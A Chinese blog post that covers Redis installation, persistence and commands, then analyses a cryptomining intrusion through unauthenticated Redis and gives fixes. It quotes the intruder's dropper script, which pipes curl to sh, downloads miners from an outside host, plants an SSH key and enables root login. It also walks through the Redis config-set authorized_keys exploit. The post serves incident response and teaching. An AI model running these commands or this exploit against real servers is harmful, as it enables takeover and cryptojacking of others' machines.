1. 程式人生 > >linux中redis的安裝配置,後門漏洞修復及其攻擊方法整合

linux中redis的安裝配置,後門漏洞修復及其攻擊方法整合

conf eid member 策略 ron 分享 正數 二進制 我想

Linux上redis安裝:

  1. 需先在服務器上安裝yum(虛擬機可使用掛載的方式安裝)
  2. 安裝配置所需要的環境運行指令: yum -y install gcc
  3. 進入解壓文件執行make 指令進行編譯
  4. 執行指令make PREFIX=/usr/local/redis install指定安裝位置進行安裝
  5. 將解壓目錄下的redis.conf拷貝一份到安裝路徑的bin目錄根目錄下(redis.conf可修改端口號密碼等),編譯redis.conf把裏面的daemonize no改成daemonize yes保存並退出
  6. 到bin的根目錄下執行 ./bin/redis-server ./redis.conf進行後臺啟動;
  7. 關閉 ./bin/redis-cli shutdowm
  8. ./bin/redis-cli ping 回復pong 則表示安裝成功

註:當執行某些文件時有可能提示沒有權限可執行 chmod 777 test.sh(文件名)進行授權

Redis特性:
1.每個Redis實例有16個數據庫,角標從0~15,默認為0,也可以通過select來選擇數據庫。比如:select 1,選擇1號數據庫,move用於移動數據庫。比如:move myset 1,表示移動myset這個key到1號數據庫。
2.開啟事務會將任務放到queue中,當提交事務時逐個執行
命令:
  (1)切換數據庫:select [0~15]
  (2)開啟事務:multi
  (3)提交事務:exec
  (4)回滾事務:discard
 
redis的持久化:
1.RDB持久化:在一定時間內將數據寫入到內存中
2.AOF持久化:以日誌形式將操作redis的操作命令增刪改保存到日誌中保存到硬盤中.默認是關閉狀態,需要開啟,保證再次啟動時候數據完整性,不持久化 將redis持久化關閉,關閉以後可以將redis看成一個緩存.用作緩存同時使用 RDB和AOF 兩種方式保證數據持久化,使數據更完整(建議使用)。
1.RDB
 優點:
  (1)可將數據庫保存為一個文件,便於備份
  (2)可方便移植
  (3)性能最大化,可開啟小的進程處理持久化操作
 缺點:
  (1)不能保證數據完整性
  (2)當數據過大,進程處理將會延遲幾百到一千毫秒
 
配置過程:
  (1)編輯redis.conf文件:vim redis.conf
  (2)找到時間戳,可配置秒、分、時與之存儲量
  (3)rdb文件默認保存在redis安裝目錄
2.AOF
優點:
(1)aof默認是不開啟的
(2)同步寫入頻率高,效率低,方式最安全.
(3)寫入模式采用append模式,追加模式, 不破壞寫入日誌數據,在redis中追加也不會破壞文件.如果在寫入一半時候就出現崩潰問題,redis下次啟動之前通過 redis-check-aof這個工具來幫助數據一致性問題
(4)當數據過大,可啟動修改重寫機制,redis采用append的這種機制,將新的修改的數據不短的寫到老的磁盤文件當中,同時創建新的文件保存操作,保證修改數據的更新
(5)日誌文件格式清晰,便於重建數據
缺點:
(1)對於相同數據集aof文件比rdb文件大一些
(2)根據同步策略不同,效率比rbd低.
配置過程:
(1)編輯redis.conf:vim redis.conf
(2)找到appendonly 未開啟為no 需要改成yes(因為默認使用rdb方式所以)
(3)Redis的目錄下會產生appendonly.aof這個文件,用來保存appendonly的之前的增刪改操作,
(4)appendfsync always 沒修改一次就同步到磁盤上
(5)appendfsync everysec 每秒會向硬盤中同步一次
(6)appendfsync no 不同步到硬盤中
(7)停掉redis  ./bin/redis-cli shutdown 
(8)重啟redis  ./bin/redis-servers ./redis.conf
(9)flushall 清空數據庫 , 做緩存使用  
(10)進入appendonly.aof刪除flushall可以恢復數據庫

相關命令:

(1)左插入:lpush 列名 [值..];右插入:rpush 列名 [值..]

(2)查詢:lrange 列名 [begin,end](兩者可為正負整數,負數則從相反方向計數,正數從0開始,負數從-1開始)

(3)左彈:lpop 列名;右彈:rpop 列名(查出結果均被刪除)

(4)數量:llen 列名

(5)已有列左插入:lpushx 列名 [值...];已有列右插入:rpushx 列名 [值...]

(6)移除:lrem 列名 [count] 值 (count可為正負數,負數則從相反方向計數,0為所有值)

(7)指定插入:lset 列名 [index] 值

(8)從前插入:linsert 列名 before [指定值] 值;從後插入:linsert 列名 after [指定值] 值

(9)從列1彈出最後元素插入列2的頭部:rpoplpush 列1名 列2名

(10)所有鍵列:keys *
(11)指定開頭鍵列:keys [*]?
(12)刪:del 鍵...
(13)判斷存在:exists 鍵
(14)重命名:rename 舊鍵名 新鍵名
(15)設過期時間:expire 鍵 [seconds]
(16)查過期時間:ttl 鍵
(17)鍵的值類型:type 鍵
hset map-name key name
hmset map-name (key name)+  同時設置多個值
hget map-name key
hmget map-name (key)+    同時獲取多個值
hgetall map-name  獲取一個map中所有的值
hdel  map-name (key)+   刪除一個或多個值  返回值:受影響的行數
del map-name     刪除map
hincrby map-name key step 按指定步長增加
hexists map-name key    判斷非空
hlen map-name  獲取長度
hkeys map-name 獲取所有的key
hvals map-name 獲取所有的值

常用類型:
String 
hash
key不要太長、太短,命名統一
set key value # 賦值
get key # 獲取值
getset company baidu ==>  get company , set company baidu
del key # 刪除
incr num # num 的值+1 沒有默認為0 加一就是1 如果num類型不能做加一運算報錯
decr num # 減一 同理
incrby num 5 # num += 5
decrby num 5 # num -= 5;
append num 5 # num 後面追加字符串“5” 如果num不存在默認為空字符串
sadd key value//添加值
srem key value //刪除value值
smembers key //獲取key value 值
sismember key a //判斷a 是否在 value中 ,若在返回1 否則返回0
sdiff key1 key2 //得到連個集合的差集
sinter key1 key2 //得到key1 key2交集
sunion key2 key3 //得到key2 ,key3的並集
scard key //得到集合這個集合的具體數量
srandmember key//獲取 這個集合的 隨機元素
sdiffstore key key1 key2 //把key1 key2的差集存儲到key中
sinterstore key key1 key2 //把key1 key2的交集存儲到key中
sunionstore key key2 key3 //把key2 key3 的並集結果存儲到key中
zadd key 70(分數) value 80(分數)ls //添加元素
zadd key 90(分數)ls //這個時候不會添加元素 ,會把分數為80的替換掉
zadd key 60(分數)tom //這個時候會添加元素成功
zscore key  value  //獲取到分數
zcard key // 獲取數量
zrem key value1 value2 ....//刪除相應的值
zrange key 0 -1 //獲取key值
zrange key 0 -1 withscores//獲取key值和分數
zrevrange key 0 -1 withscores//從大到小的排序
zremrangebyrank key 0 4//表示 按範範圍刪除
zremrangebyscore key 80 100 //表示 從80-100分的分數刪除掉
zrangebyscore key 0 100 withscores //表示0到100的分數顯示
zrangebyscore key 0 100 withscores limit 0 2//只顯示2條
zcount key 80 90//顯示80 到90分的個數



技術分享

技術分享

技術分享

技術分享



服務器被攻擊成為挖礦肉雞的原因,以及解決辦法:

原因:
(1)在服務器安裝了redis服務,攻擊者通過客戶端可以ssh連接我們的redis服務器,只要指定ip和端口(這個比較好猜,ip是服務器ip,端口是默認的);
(2)同時,在設定授權訪問的密碼時,密碼強度不夠(之前是qyjy)與我們的平臺名稱關聯較大,估計被試出來了;
(3)通過上面兩步,已經可以訪問我們的redis服務器了,攻擊者再通過redis的config命令將預先準備的腳本植入到linux服務器的/root/.ssh/文件夾下的authotrized_keys文件裏,這樣攻擊者也可以ssh訪問我們的服務器了。

影響:
此次攻擊危險程序極大,還好攻擊者只是用來做肉雞,如果刪除了服務器的文件或者數據庫將是災難性的。

解決辦法:
雖然是redis的漏洞,但是我們也是可以通過一些措施防禦的。
(1)綁定固定ip(不要使用公網IP),增加通過客戶端ssh的難度
(2)更換端口號(不使用默認的端口),增加通過客戶端ssh的難度
(3)設置強度更高的訪問密碼(英文數字符號組合),增加通過客戶端ssh的難度
(4)重命名config命令(使用英文數字+config組成的命令代替config),攻擊者無法輕易的用config命令了

補充攻擊方法http://blog.csdn.net/whs_321/article/details/51734602(摘自網友)

聽到朋友說接到阿裏雲的報障,提示黑客把他的服務器當肉雞了,當時有點怕怕,繼而官方的網絡帶寬也爆了進而系統處於癱瘓,當時我需要幫他處理這個問題

1 在沒有查到殺手之前我是先把帶寬&端口用iptables 做了限制這樣能保證我能遠程操作服務器才能查找原因

技術分享

2 在各種netstat –ntlp 的查看下沒有任何異常 在top 下查到了有異常進程還有些異常的這裏就截圖一個

技術分享

3 結果果斷把進程給kill -9 了 沒想到再去ps的時候又來了意思就是會自動啟動它

這就讓我想到了crond 這個自動任務果不其然 /var/spool/cron/root 這個文件被人做了手腳而且是二進制的聲音幹脆果斷又給刪除了, 以為這下沒事了結果過了兩分鐘這個文件又來這個就引起我主要了聯想到了是不是有說明守護進程了這樣的事情肯定是有守護進程在才 會發生的了,於是我去百度了下 jyam -c x -M stratum+tcp 果不其然確實有這樣的攻擊,網上說這個攻擊是由於redis未授權登陸漏洞引 起導致黑客利用的結果我去redis 控制臺登錄一看固然有個莫名其妙的key 剛好這個key 就是ssh的key於是斷定黑客是從reids的未授權漏 洞登陸進來的(因為便宜服務器防火墻是關閉狀態的端口全部開放的)

技術分享

4 在服務器上我查了自動任務的文件被黑客編譯成二進制的源文件代碼,所以我無法得知內容。 但是我在crond的日誌裏面找到了他下 載腳本的鏈接

技術分享

5 代碼大致如下

exportPATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin

echo "*/2 ** * * curl -L https://r.chanstring.com/api/report?pm=1 | sh" >/var/spool/cron/root

# echo "*/2* * * * ps auxf | grep -v grep | grep yam || /opt/yam/yam -c x - Mstratum+tcp://46fbJKYJRa4Uhvydj1ZdkfEo6t8PYs7gGFy7myJK7tKDHmrRkb8ECSXjQRL1PkZ3MAXpJnP77RMBV6WBRpbQtQgAMQE8 Coo:[email protected]:6666/xmr">> /var/spool/cron/root

echo "*/5 ** * * ps auxf | grep -v grep | grep gg3lady || nohup /opt/gg3lady &">> /var/spool/cron/root

ps auxf | grep-v grep | grep yam || nohup /opt/yam/yam -c x - Mstratum+tcp://46fbJKYJRa4Uhvydj1ZdkfEo6t8PYs7gGFy7myJK7tKDHmrRkb8ECSXjQRL1PkZ3MAXpJnP77RMBV6WBRpbQtQgAMQE8 Coo:[email protected]:6666/xmr&

if [ ! -f"/root/.ssh/KHK75NEOiq" ]; then

mkdir -p ~/.ssh

rm -f ~/.ssh/authorized_keys*

echo "ssh- rsaAAAAB3NzaC1yc2EAAAADAQABAAABAQCzwg/9uDOWKwwr1zHxb3mtN++94RNITshREwOc9hZfS/F/yW8KgHYTKvIAk/Ag1xBkB CbdHXWb/TdRzmzf6P+d+OhV4u9nyOYpLJ53mzb1JpQVj+wZ7yEOWW/QPJEoXLKn40y5hflu/XRe4dybhQV8q/z/sDCVHT5FIFN+tKez3tx L6NQHTz405PD3GLWFsJ1A/Kv9RojF6wL4l3WCRDXu+dm8gSpjTuuXXU74iSeYjc4b0H1BWdQbBXmVqZlXzzr6K9AZpOM+ULHzdzqrA3SX 1y993qHNytbEgN+9IZCWlHOnlEPxBro4mXQkTVdQkWo0L4aR7xBlAdY7vRnrvFavroot" > ~/.ssh/KHK75NEOiq

echo "PermitRootLogin yes">> /etc/ssh/sshd_config

echo "RSAAuthentication yes">> /etc/ssh/sshd_config

echo "PubkeyAuthenticationyes" >> /etc/ssh/sshd_config

echo "AuthorizedKeysFile.ssh/KHK75NEOiq" >> /etc/ssh/sshd_config

/etc/init.d/sshd restart

fi

if [ ! -f"/opt/yam/yam" ]; then

mkdir -p /opt/yam

curl -f -Lhttps://r.chanstring.com/api/download/yam -o /opt/yam/yam

chmod +x /opt/yam/yam

# /opt/yam/yam -c x - Mstratum+tcp://46fbJKYJRa4Uhvydj1ZdkfEo6t8PYs7gGFy7myJK7tKDHmrRkb8ECSXjQRL1PkZ3MAXpJnP77RMBV6WBRpbQtQgAMQE8 Coo:[email protected]:6666/xmr

fi

if [ ! -f"/opt/gg3lady" ]; then

curl -f -Lhttps://r.chanstring.com/api/download/gg3lady_`uname -i` -o /opt/gg3lady

chmod +x /opt/gg3lady

fi

# yam=$(ps auxf| grep yam | grep -v grep | wc -l)

# gg3lady=$(psauxf | grep gg3lady | grep -v grep | wc -l)

# cpu=$(cat/proc/cpuinfo | grep processor | wc -l)

# curlhttps://r.chanstring.com/api/report?yam=$yam\&cpu=$cpu\&gg3lady=$gg3lady\&arch=`uname-i`

於是終於找到源頭了,下面我們來分析下這個腳本

6 腳本分析

    echo "*/2 * * * * curl -L https://r.chanstring.com/api/report?pm=1 | sh" > /var/spool
    /cron/root   每兩分鐘來一次這個腳本
 

echo "*/5 ** * * ps auxf | grep -v grep | grep gg3lady || nohup /opt/gg3lady &">> /var/spool/cron/root

    這個腳本我不知道幹麽的應該是生成這個自動任務文件的守護進程以至於刪除自動任務文
    件會自動再來一份  腳本進程死了這個自動任務又會起來
    ps auxf | grep -v grep | grep yam || nohup /opt/yam/yam -c x -M stratu
    m+tcp://46fbJKYJRa4Uhvydj1ZdkfEo6t8PYs7gGFy7myJK7tKDHmrRkb8ECSXjQRL1PkZ3MAXpJnP77RMBV
    6WBRpbQtQgAMQE8Coo:[email protected]:6666/xmr &
    這個是挖礦腳本,黑客靠這個連接池去挖btc(比特幣)意思就是這個肉雞已經提供了
        下面這個就是一個免密鑰登陸的腳本了

技術分享

下面這兩個是下載文件的腳本跟賦權限


技術分享

整個腳本的大致就這樣

7 處理方法只要把 /var/spool/cron/root 刪除 /opt/yam/yam 刪除 /opt/gg3lady 刪除 .ssh/KHK75NEOiq 刪除

把gg3lady yam 進程結束還有就是sshd_confg 文件還原,把redis入侵的key刪除應該就沒問題了。但是為了安全起見還是希望

重裝服務器,不確保別人 不留其他的漏洞

關於reidis 未授權登陸漏洞

漏洞概要

Redis 默認情況下,會綁定在 0.0.0.0:6379,這樣將會將Redis服務暴露到公網上,如果在沒有開啟認證的情況下,可以導致任意用戶在可以訪問目標服務器的情況下未授權訪問Redis以及讀取Redis的數據。攻擊者在未授權訪問Redis的情況下可以利用Redis的相關方法,可以成功將自己的公鑰寫入目標服務器的 /root/.ssh 文件夾的authotrized_keys 文件中,進而可以直接登錄目標服務器。

漏洞概述

Redis 默認情況下,會綁定在 0.0.0.0:6379,這樣將會將Redis服務暴露到公網上,如果在沒有開啟認證的情況下,可以導致任意用戶在可以訪問目標服務器的情況下未授權訪問Redis以及讀取Redis的數據。攻擊者在未授權訪問Redis的情況下可以利用Redis的相關方法,可以成功將自己的公鑰寫入目標服務器的 /root/.ssh 文件夾的authotrized_keys 文件中,進而可以直接登錄目標服務器。

漏洞描述

Redis 安全模型的觀念是: “請不要將Redis暴露在公開網絡中, 因為讓不受信任的客戶接觸到Redis是非常危險的” 。

Redis 作者之所以放棄解決未授權訪問導致的不安全性是因為, 99.99%使用Redis的場景都是在沙盒化的環境中, 為了0.01%的可能性增加安全規則的同時也增加了復雜性, 雖然這個問題的並不是不能解決的, 但是這在他的設計哲學中仍是不劃算的。

因為其他受信任用戶需要使用Redis或者因為運維人員的疏忽等原因,部分Redis 綁定在0.0.0.0:6379,並且沒有開啟認證(這是Redis的默認配置),如果沒有進行采用相關的策略,比如添加防火墻規則避免其他非信任來源 ip訪問等,將會導致Redis服務直接暴露在公網上,導致其他用戶可以直接在非授權情況下直接訪問Redis服務並進行相關操作。

利用Redis自身的相關方法,可以進行寫文件操作,攻擊者可以成功將自己的公鑰寫入目標服務器的 /root/.ssh 文件夾的authotrized_keys文件中,進而可以直接登錄目標服務器。 (導致可以執行任何操作)

漏洞影響

Redis 暴露在公網(即綁定在0.0.0.0:6379,目標IP公網可訪問),並且沒有開啟相關認證和添加相關安全策略情況下可受影響而導致被利用。

這裏我可以演示一遍給大家看看怎麽通過redis未授權漏洞直接免密鑰進行登陸

攻擊過程

(註意我本機是162 要入侵的服務器是161)


技術分享

技術分享

1 生成本地服務器私鑰跟公鑰

技術分享

技術分享

2 把公鑰寫進我們要攻擊的服務器的redis一個key裏面去 (為什麽要把公鑰加空格追加到一個文件是因為redis的存儲)

技術分享

技術分享

3 登陸要攻擊的服務器redis控制臺,從新定義redis保存數據的路徑為configset dir /root/.ssh/(這個是需要知道linux下面ssh 面密鑰登陸的key默認的存放才能設定的默認情況下是/roo/.ssh一般情況下很多管理員都不會去更改),在把reids的dbfilename定於成 linux 下面ssh面密鑰登陸的文件名就好了configset dbfilename "authorized_keys"(默認文件名是authorized_keys 這個廣大linux管理員都這個這個所以這個入侵還是要點linux功底的),最後保存 save

技術分享

4 激動人心的時刻到了直接ssh 登陸192.168.8.161 無需要密碼就能登陸了

技術分享

到這裏我們就可以完全控制別人的服務器了,你先怎麽玩就怎麽玩了(僅供學習研究)

6 這裏我搜了下全球暴露公網的還有10W+的的服務器,(僅供學習研究,希望不要利用教程去做違法的事情)

技術分享

linux中redis的安裝配置,後門漏洞修復及其攻擊方法整合